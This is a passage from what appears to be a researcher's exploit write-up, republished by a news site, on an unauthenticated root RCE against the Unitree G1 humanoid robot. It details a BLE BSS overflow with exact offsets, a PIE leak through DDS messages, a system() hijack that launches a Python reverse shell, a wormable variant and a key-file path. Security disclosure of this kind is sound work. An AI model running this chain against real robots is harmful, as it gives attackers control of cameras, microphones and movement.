exactly`1050`\n\nbytes (`21 chunks × 50 bytes`\n\n), rather than`1052`\n\n.\n\n### Why mainloop_list[2]?\n\nTwo reasons. First, it's the** farthest safe slot we can reach with this **`1050`\n\n**byte payload** without touching `ML[3]`\n\n**. **`mainloop_list[0]`\n\nbegins at offset `1028`\n\n, [1] at `1036`\n\n, and [2] at `1044`\n\n. A `1050-byte`\n\npayload covers offsets `0`\n\nthrough `1049`\n\n, so its final *six bytes overwrite the low six bytes of ML[2]*.\n\n`mainloop_list[3]`\n\nbegins at offset `1052`\n\nwhich is safely __outside__the payload.\n\nSecond, `ML[2]`\n\nis *unused*. `mainloop_list`\n\nis indexed by file descriptor, so entry 2 corresponds to stderr. There's more going on, but it will remain NULL until our overflow replaces it with the pointer to our fake structure.\n\nWe do not want to touch the event-loop entries at `ML[3]`\n\nbecause they contain legitimate states used by the signal handler, BLE listener, and other registered descriptors. Corrupting them would fuck me first, then crash the server. `ML[2]`\n\nis reachable, empty, and processed before those live entries. __The stars are just aligned. __\n\n### Getting the PIE Base by Abusing The G1 AI Chatbot\n\nOK! The payload is \"*designed*\". But every address in it `system@PLT`\n\n, the command string pointer, the ML[2] back-reference depends on the PIE base. But we can leak it using RCE #1 🙂! Remember `chat_go`\n\nalso runs as root.\n\nLike before, we'll publish a DDS message to `rt/api/robot_state/request`\n\nwith `{\"name\":\"chat_go\",\"switch\":1}`\n\n. The robot's service manager starts the `chat_go`\n\nprocess. Then we will publish to `rt/api/gpt/request`\n\nwith api_id `1006`\n\n(`UPLOAD_KNOWLEDGE`\n\n) and this parameter:\n\nWe then publish to `rt/api/robot_state/request`\n\nwith `{\"name\":\"bashrunner\",\"switch\":0}`\n\n(stop), wait 3 seconds, then `{\"name\":\"bashrunner\",\"switch\":1}`\n\n(start). On startup, bashrunner calls `os.listdir()`\n\non its content directory and adds `pwn.md`\n\nto its whitelist.\n\nAnd finally, we publish to `rt/api/bashrunner/request`\n\nwith `{\"script\":\"pwn.md\"}`\n\n. bashrunner runs `sh pwn.md`\n\nas root. And the `btgatt-server`\n\nmemory map comes back in the DDS response.\n\n```\nsystem@PLT      = 0x5578d70000 + 0x3580  = 0x5578d73580\nwifi_ssid       = 0x5578d70000 + 0x2e1e4 = 0x5578d9e1e4\nepoll_terminate = 0x5578d70000 + 0x2e5dc = 0x5578d9e5dc\nmainloop_list   = 0x5578d70000 + 0x2e5e8 = 0x5578d9e5e8\n```\n\n### Three BLE Connections\n\nWe have the addresses. We have the payload. Now we just have to somehow deliver `1050`\n\nbytes through my shitty macOS Bluetooth situation.\n\nEach opcode `0x04`\n\nchunk carries `50`\n\npayload bytes, giving us `21`\n\noverflow chunks total. On my Mac that about as good as it gets before things start going to shit.\n\nSeven chunks per connection means exactly three BLE connections. Those are **seven overflow chunks**, not seven ATT writes total. Each connection also has to perform the two-write BLE v3 handshake, and the first connection additionally sends opcode `0x03`\n\nto initialize the Wi-Fi state.\n\nConnection 1 sends opcode `0x03`\n\n(`WIFI_TYPE`\n\n) once, at the very beginning. That initializes STA mode and resets the Wi-Fi-related state, including `wifi_ssid_length`\n\n, so our payload starts cleanly at offset `0`\n\n. Connections 2 and 3 deliberately **do not** send `0x03`\n\n. If they did, the cursor would jump back to zero and we would overwrite the beginning of the payload instead of continuing farther through memory.\n\nThe v3 handshake is different. That must happen on **every** connection because opcode `0x0B`\n\nresets `valid_incoming_user`\n\nat the beginning of each session. Without authenticating again, the opcode `0x04`\n\nhandler rejects our chunks. (Fuck figuring this out btw).\n\nSo the three connections look roughly like:\n\nThen our final seven chunks arrive. Chunks `15–20`\n\nfill bytes `700–999`\n\n. Chunk `21`\n\nwrites bytes `1000–1049`\n\n. That final chunk changes the state initialized only moments earlier:\n\n```\nepoll_terminate = 1\nML[2]           = &wifi_ssid[0]\n```\n\nBoth writes happen **after** `mainloop_init()`\n\n, so they survive long enough to be consumed.\n\n### The Trigger, Step by Step\n\nHere's exactly what happens after chunk `21`\n\nfinishes copying its final `50`\n\nbytes.\n\nThe opcode `0x04`\n\nhandler finishes copying the final 50 bytes at payload offsets `1000–1049`\n\n. Our BSS *corruption zone* now contains `epoll_fd = 0xFFFFFFFF`\n\n, `epoll_terminate = 1`\n\n, `mainloop_list[0] = NULL`\n\n, `mainloop_list[1] = NULL`\n\n, and `mainloop_list[2] = PIE + 0x2e1e4`\n\n.\n\nThe handler checks `idx == total`\n\n, logs `\"Complete WIFI SSID received\"`\n\n, and sends its ordinary one-byte completion notification back over BLE. Even though memory is now corrupted, the handler still follows its normal completion path.\n\nControl returns up the call stack. The opcode `0x04`\n\ncase ends, `receive_manager`\n\nreturns, the GATT attribute write callback returns, the ATT layer returns, and finally the epoll event handler returns. We're back in `mainloop_run`\n\n, having just processed one epoll event.\n\nBefore beginning another iteration, `mainloop_run`\n\nreads `epoll_terminate`\n\n.\n\nThen the cleanup loop begins. It walks `mainloop_list`\n\nfrom index `0`\n\n:\n\n``` php\nEntry 0: mainloop_list[0] = NULL -> skip\nEntry 1: mainloop_list[1] = NULL -> skip\nEntry 2: mainloop_list[2] = PIE + 0x2e1e4 -> non-NULL -> proceed\n```\n\nThe cleanup code dereferences `ML[2]`\n\n. It points to `wifi_ssid[0]`\n\n, where our fake struct from Region 1 lives.\n\n`system()`\n\ngets a pointer to our reverse-shell command and runs it through `/bin/sh -c`\n\n. The shell writes the Python reverse shell to `/tmp/r.py`\n\n, then launches it with `setsid python3 /tmp/r.py &`\n\n. The `&`\n\nbackgrounds it so the shell can return, while `setsid`\n\ngives the Python process its own session.\n\nThen cleanup tries to `free()`\n\nour fake entry at `PIE + 0x2e1e4`\n\n. Small problem... that address is inside BSS, not the heap 😂 (its never returned by `malloc()`\n\n) so the invalid `free()`\n\nkills `btgatt-server`\n\nwith `SIGABRT`\n\n.\n\nBut who cares? The important call already happened. `destroy(user_data)`\n\nalready became `system(command)`\n\n& the reverse shell was launched before `free()`\n\nblew up. Killing `btgatt-server`\n\ndoes not take the Python session with it.\n\n### POC || GTFO\n\nThe entire chain from BLE scan, bootstrap, cloud oracle, WiFi hijack, auto-discovery, PIE leak, and BSS overflow is fully automated in a single standalone Python script. Note that the cloud oracle AES leak is now patched, so getting a shell this way requires an account bound to your G1. __Alternatively, you can specify the MAC and AES key directly via --mac and --key.__ If you're having trouble with the PoC\n\n`ipconfig getifaddr en0`\n\n& make sure you have the right callback + try and have your phone hotspot running off your cellular network instead of your WiFi.With a few small tweaks to the heredoc injection, making RCE #2 wormable was pretty easy. Each compromised G1 can pop * at least* one other G1 within BLE range. I only ever tested two in the same room & I honestly don't know how many you could daisy-chain or spin off from a single unit. Unfortunately, the cloud oracle is patched, which\n\n*kinda*kills this exact PoC flow.\n\n** Note: **As I've demonstrated in the \"\n\n*Goodbye WebRTC, We're Taking the DDS Bus*\" section, we can run the RCEs over pure DDS. You can actually take the RCE #1 DDS PoC and use it to recover any G1's AES key from\n\n`/unitree/etc/key/aes_key.bin`\n\nand use the `--key`\n\nflag in the RCE #2 PoC above. There are almost certainly other bugs I missed 😉. For now, if you own a G1, RCE #1 & #2 can still be used to jailbreak it. If you wanna keep digging, the binding flow is probably where I'd start. And it should go without saying: compromise the Locomotion PC and you effectively compromise the robot itself, including its cameras, microphones, mobility, and the rest of its onboard capabilities.\n\nYou've made it to the end 🎉!\n\n**Thank you for reading!** If you enjoy this kinda stuff, go check out the [Go2](https://boschko.ca/unitree-go2-rce/) research [Ruikai](https://x.com/ruikai?ref=boschko.ca) and [I](https://x.com/olivier_boschko?ref=boschko.ca) wrote & follow us on X.\n\nFeel free to reach out if you've got questions. I'm always down to collaborate on cool projects, so just ping me.\n\nI'd like to thank [Ads](https://www.linkedin.com/in/adamdawson0/?ref=boschko.ca) and [Ruikai](https://x.com/ruikai?ref=boschko.ca) for reading and for the feedback, and [Andreas](https://x.com/Bin4ryDigit?ref=boschko.ca) for the kindness & making [UniTEABag](https://github.com/Bin4ry/UniTEABag?ref=boschko.ca) public. I owe you both many beers. If anyone has a cool G1 primitive & needs another unit to test on/validate, my SN & AES key won't change. Reach out & I'll be happy to help out.", "url": "https://wpnews.pro/news/unibleed-unauthenticated-root-rce-on-any-unitree-g1-humanoid-robot", "canonical_source": "https://boschko.ca/g1-ble-rce/", "published_at": "2026-08-27 20:27:21+00:00", "updated_at": "2026-08-27 20:48:19.758125+00:00", "lang": "en", "topics": ["ai-safety", "ai-policy"], "entities": ["Boschko", "Unitree", "Unitree G1", "CVE-2026-76639", "CVE-2026-76640", "Unitree Security team"], "alternates": {"html": "https://wpnews.pro/news/unibleed-unauthenticated-root-rce-on-any-unitree-g1-humanoid-robot", "markdown": "https://wpnews.pro/news/unibleed-unauthenticated-root-rce-on-any-unitree-g1-humanoid-robot.md", "text": "https://wpnews.pro/news/unibleed-unauthenticated-root-rce-on-any-unitree-g1-humanoid-robot.txt", "jsonld": "https://wpnews.pro/news/unibleed-unauthenticated-root-rce-on-any-unitree-g1-humanoid-robot.jsonld"}}